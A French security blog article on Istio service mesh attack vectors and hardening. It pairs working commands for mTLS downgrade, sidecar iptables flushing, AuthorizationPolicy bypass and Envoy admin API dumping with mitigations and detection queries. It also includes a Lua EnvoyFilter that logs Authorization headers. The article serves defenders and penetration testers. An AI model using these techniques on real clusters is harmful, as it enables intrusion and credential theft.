Auteur : Ayi NEDJIMI Date : 15 février 2026
Introduction au Service Mesh
Les service meshes (Istio, Linkerd, Consul Connect) se sont imposés comme l'infrastructure de communication standard dans les architectures microservices Kubernetes. En déployant des sidecar proxies (Envoy, linkerd2-proxy) aux côtés de chaque pod, ils promettent le chiffrement mTLS transparent, l'observabilité fine, le traffic management et l'application de politiques d'autorisation. En 2026, plus de 60% des clusters Kubernetes en production utilisent un service mesh.
Cependant, cette couche d'infrastructure ajoute une surface d'attaque significative. Les sidecar proxies deviennent des points de pivot privilégiés, les politiques mTLS peuvent être dégradées, les AuthorizationPolicies contournées par des requêtes malformées, et la configuration du control plane (istiod) peut être détournée pour compromettre l'ensemble du mesh. Cet article analyse en profondeur ces vecteurs d'attaque, avec des démonstrations pratiques sur Istio (le service mesh le plus déployé) et des stratégies de durcissement.
Architecture : Sidecar, Data Plane, Control Plane
Le modèle sidecar
Dans le modèle sidecar, un proxy Envoy est injecté automatiquement dans chaque pod via un webhook d'admission Kubernetes (istio-sidecar-injector). Tout le trafic réseau du pod est redirigé vers le sidecar via des règles iptables injectées par l'init container istio-init. Le sidecar gère le chiffrement mTLS, l'application des politiques d'autorisation, et le routage du trafic.
# Architecture du sidecar injection Istio
# Le webhook mutating intercepte la création de pods
# et injecte automatiquement :
# 1. Init container (istio-init) : configure iptables
# Redirige tout le trafic vers le sidecar
iptables -t nat -A PREROUTING -p tcp -j ISTIO_INBOUND
iptables -t nat -A OUTPUT -p tcp -j ISTIO_OUTPUT
# Ports interceptés : tout sauf 15000-15999 (admin Envoy)
# 2. Sidecar container (istio-proxy / Envoy)
# Écoute sur :
# - 15001 (outbound listener)
# - 15006 (inbound listener)
# - 15000 (Envoy admin interface)
# - 15020 (healthz/stats)
# - 15090 (Prometheus metrics)
# 3. Identité mTLS : certificat SPIFFE
# Format : spiffe://cluster.local/ns/{namespace}/sa/{service-account}
# Émis par istiod, rotation automatique toutes les 24h
# Vérifier la configuration d'un sidecar
kubectl exec -it pod-name -c istio-proxy -- \
pilot-agent request GET /config_dump | jq '.configs'
# Lister les certificats mTLS actifs
kubectl exec -it pod-name -c istio-proxy -- \
openssl s_client -connect localhost:15006 -showcerts
Surface d'attaque du service mesh
| Composant | Vecteur d'attaque | Impact |
|---|---|---|
| Envoy Admin API (15000) | Accès non authentifié à /config_dump, /clusters | Fuite de secrets, routage malveillant |
| istiod (Control Plane) | Compromission du CA, injection de config | Contrôle total du mesh |
| mTLS PeerAuthentication | Mode PERMISSIVE (plaintext accepté) | Interception du trafic |
| AuthorizationPolicy | Règles permissives, bypass via headers | Accès non autorisé aux services |
| Sidecar injection | Pods sans sidecar (bypass du mesh) | Contournement des politiques |
| EnvoyFilter | Injection de filtres Lua/Wasm malveillants | Interception/modification du trafic |
mTLS Downgrade Attacks
Le piège du mode PERMISSIVE
Par défaut, Istio configure mTLS en mode PERMISSIVE, acceptant à la fois le trafic chiffré (mTLS) et le trafic en clair (plaintext). Ce mode est conçu pour faciliter la migration, mais de nombreuses organisations ne passent jamais en mode STRICT. Un attaquant ayant compromis un pod sans sidecar, ou ayant la capacité de contourner les règles iptables du sidecar, peut communiquer en plaintext avec n'importe quel service du mesh.
# Vérifier le mode mTLS actuel
kubectl get peerauthentication -A
# Si aucune PeerAuthentication en mode STRICT n'existe
# -> tout le mesh est en PERMISSIVE (vulnérable)
# Exploitation : communication plaintext depuis un pod compromis
# 1. Depuis un pod SANS sidecar (ou avec sidecar désactivé)
kubectl run attacker --image=alpine --restart=Never \
--overrides='{"metadata":{"annotations":{"sidecar.istio.io/inject":"false"}}}'
# 2. Communiquer directement avec les services en plaintext
kubectl exec attacker -- wget -qO- http://payment-service:8080/api/transactions
# Le service en mode PERMISSIVE accepte la requête plaintext
# -> Pas de vérification d'identité mTLS
# -> Pas d'application de l'AuthorizationPolicy
# -> L'attaquant accède au service comme n'importe quel client
# Durcissement : forcer STRICT sur tout le namespace
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
name: strict-mtls
namespace: production
spec:
mtls:
mode: STRICT
# Ou au niveau mesh-wide :
# namespace: istio-system pour appliquer à tout le mesh
Contournement des iptables du sidecar
# Les règles iptables du sidecar peuvent être contournées
# si le pod a les capabilities NET_ADMIN ou NET_RAW
# Depuis un pod compromis avec NET_ADMIN :
# 1. Supprimer les règles de redirection vers le sidecar
iptables -t nat -F ISTIO_INBOUND
iptables -t nat -F ISTIO_OUTPUT
# 2. Communiquer directement sans passer par Envoy
# -> Pas de chiffrement mTLS
# -> Pas de politiques d'autorisation
# -> Pas de logging/observabilité
# Le pod est effectivement "invisible" pour le mesh
# 3. Intercepter le trafic des autres pods sur le même node
# Si les NetworkPolicies ne sont pas configurées
# et que le CNI ne fournit pas d'isolation réseau
# Mitigation : supprimer NET_ADMIN et NET_RAW
apiVersion: v1
kind: Pod
spec:
containers:
- name: app
securityContext:
capabilities:
drop: ["ALL"]
runAsNonRoot: true
readOnlyRootFilesystem: true
AuthorizationPolicy Bypass
Erreurs de configuration courantes
Les AuthorizationPolicies d'Istio contrôlent quel service peut appeler quel autre service. Cependant, des erreurs de configuration fréquentes permettent de contourner ces politiques :
# VULNÉRABLE : politique trop permissive
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: allow-frontend
namespace: production
spec:
selector:
matchLabels:
app: payment-api
rules:
- from:
- source:
principals: ["cluster.local/ns/production/sa/frontend"]
to:
- operation:
methods: ["GET", "POST"]
paths: ["/api/*"]
# Problème : le wildcard /* accepte aussi /api/../admin
# L'attaquant peut utiliser le path traversal :
# GET /api/../admin/users -> contourne la règle
# VULNÉRABLE : absence de deny-all par défaut
# Si aucune AuthorizationPolicy n'est définie pour un service
# -> tout le trafic est AUTORISÉ par défaut
# Exploitation : contournement via header manipulation
# Certaines AuthorizationPolicies se basent sur des headers
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: internal-only
spec:
rules:
- when:
- key: request.headers[x-internal]
values: ["true"]
# Un attaquant peut simplement ajouter le header :
curl -H "x-internal: true" http://payment-api:8080/admin
# SÉCURISÉ : deny-all par défaut + allow explicite
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: deny-all
namespace: production
spec:
{} # Politique vide = DENY ALL
---
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: allow-frontend-to-api
namespace: production
spec:
selector:
matchLabels:
app: payment-api
action: ALLOW
rules:
- from:
- source:
principals: ["cluster.local/ns/production/sa/frontend"]
to:
- operation:
methods: ["GET"]
paths: ["/api/v1/products", "/api/v1/catalog"]
Sidecar Injection Abuse
Déploiement de pods sans sidecar
Un attaquant ayant la permission de créer des pods dans un namespace avec injection sidecar peut désactiver l'injection via des annotations, créant un pod qui opère en dehors du service mesh et échappe à toutes les politiques de sécurité :
# Créer un pod sans sidecar dans un namespace mesh-enabled
apiVersion: v1
kind: Pod
metadata:
name: stealth-pod
namespace: production
annotations:
sidecar.istio.io/inject: "false" # Bypass sidecar injection
spec:
containers:
- name: attacker
image: alpine
command: ["sleep", "infinity"]
# Ce pod :
# - N'a pas de sidecar Envoy
# - Peut communiquer en plaintext avec tous les services
# - N'est pas soumis aux AuthorizationPolicies
# - N'apparaît pas dans les traces Istio (invisible)
# - Peut effectuer du network scanning librement
# Mitigation : bloquer la désactivation du sidecar via OPA/Gatekeeper
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sIstioSidecarRequired
metadata:
name: require-sidecar
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
namespaces: ["production", "staging"]
parameters:
# Bloquer l'annotation sidecar.istio.io/inject: "false"
allowedAnnotations: []
Envoy Configuration Exploitation
Admin API Envoy (port 15000)
L'interface d'administration d'Envoy écoute par défaut sur le port 15000 et est accessible depuis le pod. Un attaquant ayant compromis le container applicatif peut accéder à cette interface pour extraire la configuration complète, incluant les certificats mTLS, les endpoints des services et les secrets.
# Depuis un container compromis dans un pod avec sidecar :
# 1. Extraire la configuration complète d'Envoy
curl -s localhost:15000/config_dump | jq '.'
# Contient : tous les certificats, toutes les routes,
# tous les endpoints, toutes les politiques
# 2. Lister tous les services découverts
curl -s localhost:15000/clusters | head -50
# Révèle tous les services du mesh et leurs endpoints
# 3. Extraire les certificats mTLS
curl -s localhost:15000/certs | jq '.'
# Certificats SPIFFE avec dates d'expiration
# 4. Modifier la configuration Envoy en temps réel
# (si l'admin API n'est pas en read-only)
curl -X POST localhost:15000/logging?level=trace
# Active le logging détaillé -> fuite d'informations
# 5. Utiliser EnvoyFilter pour injecter du code malveillant
apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
name: malicious-filter
namespace: production
spec:
configPatches:
- applyTo: HTTP_FILTER
match:
context: SIDECAR_INBOUND
patch:
operation: INSERT_BEFORE
value:
name: envoy.filters.http.lua
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua
inline_code: |
function envoy_on_request(handle)
-- Exfiltrer les headers d'autorisation
local auth = handle:headers():get("authorization")
if auth then
handle:logInfo("EXFIL: " .. auth)
end
end
Détection et Hardening
Checklist de durcissement Istio
Durcissement du Service Mesh
- mTLS STRICT : Appliquer PeerAuthentication en mode STRICT sur tout le mesh (mesh-wide dans istio-system)
- Deny-All par défaut : Déployer une AuthorizationPolicy vide (deny-all) dans chaque namespace, puis ouvrir explicitement
- Bloquer les pods sans sidecar : Utiliser OPA/Gatekeeper pour empêcher la désactivation de l'injection sidecar
- Sécuriser Envoy Admin API : Configurer
meshConfig.defaultConfig.proxyAdminPort: 0pour désactiver l'admin API - Restreindre EnvoyFilter : RBAC Kubernetes strict sur les EnvoyFilter (seulement les admins mesh)
- Network Policies : Appliquer des NetworkPolicies en complément du mesh pour la défense en profondeur
- Rotation des certificats : Réduire la durée de vie des certificats mTLS (1h au lieu de 24h pour les environnements sensibles)
- Audit des configurations : Scanner régulièrement avec
istioctl analyzeet des outils comme Checkov - Capabilities minimales : Supprimer NET_ADMIN et NET_RAW de tous les containers applicatifs
- Monitoring Kiali/Grafana : Alerter sur le trafic plaintext, les connexions refusées et les anomalies de latence
# Détection des anomalies dans le service mesh
# 1. Identifier les pods sans sidecar dans les namespaces mesh
kubectl get pods -A -o json | jq -r '
.items[] |
select(.metadata.labels["sidecar.istio.io/inject"] != "false") |
select(.spec.containers | map(.name) | index("istio-proxy") | not) |
"\(.metadata.namespace)/\(.metadata.name)"'
# 2. Vérifier le mode mTLS effectif pour chaque service
istioctl x describe pod frontend-abc123 -n production
# Vérifie si le trafic est bien en STRICT
# 3. Scanner les AuthorizationPolicies pour les erreurs
istioctl analyze -A --output json | \
jq '.[] | select(.code | startswith("IST0"))'
# 4. Requête Prometheus pour détecter le trafic plaintext
sum(rate(istio_tcp_connections_closed_total{
connection_security_policy="none"
}[5m])) by (destination_workload, source_workload)
# Si cette métrique est > 0, du trafic plaintext traverse le mesh
# 5. Alerter sur les EnvoyFilter créés/modifiés
kubectl get events -A --field-selector reason=EnvoyFilterCreated
# Configurer un webhook pour alerter sur toute modification
Conclusion
Les service meshes comme Istio ajoutent une couche de sécurité significative aux architectures microservices, mais ils ne sont pas une solution de sécurité plug-and-play. Sans configuration rigoureuse, ils peuvent même créer une fausse sensation de sécurité en laissant croire que le mTLS et les politiques d'autorisation sont actifs alors que le mode PERMISSIVE et l'absence de deny-all par défaut laissent la porte grande ouverte.
Les organisations déployant un service mesh doivent :
- Passer en mTLS STRICT dès que possible et ne jamais rester en PERMISSIVE en production
- Implémenter une politique deny-all par défaut avec des ouvertures explicites et auditées
- Empêcher la désactivation du sidecar via des admission controllers (OPA/Gatekeeper/Kyverno)
- Sécuriser les interfaces d'administration (Envoy admin API, istiod API) et les composants du control plane
- Compléter le mesh par des NetworkPolicies Kubernetes pour la défense en profondeur
- Auditer régulièrement les configurations avec
istioctl analyzeet des tests d'intrusion spécifiques au mesh
Ressources et références
- Kubernetes Offensif : RBAC et Exploitation
- Container Escape : Docker et Containerd
- Attaques CI/CD Pipeline
- Secrets Sprawl
Ayi NEDJIMI
Expert en Cybersécurité & Intelligence Artificielle
Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.
Passez à l'Action
Nos consultants certifiés réalisent des audits de sécurité Kubernetes et service mesh en simulant les techniques présentées.
Demander un Devis Personnalisé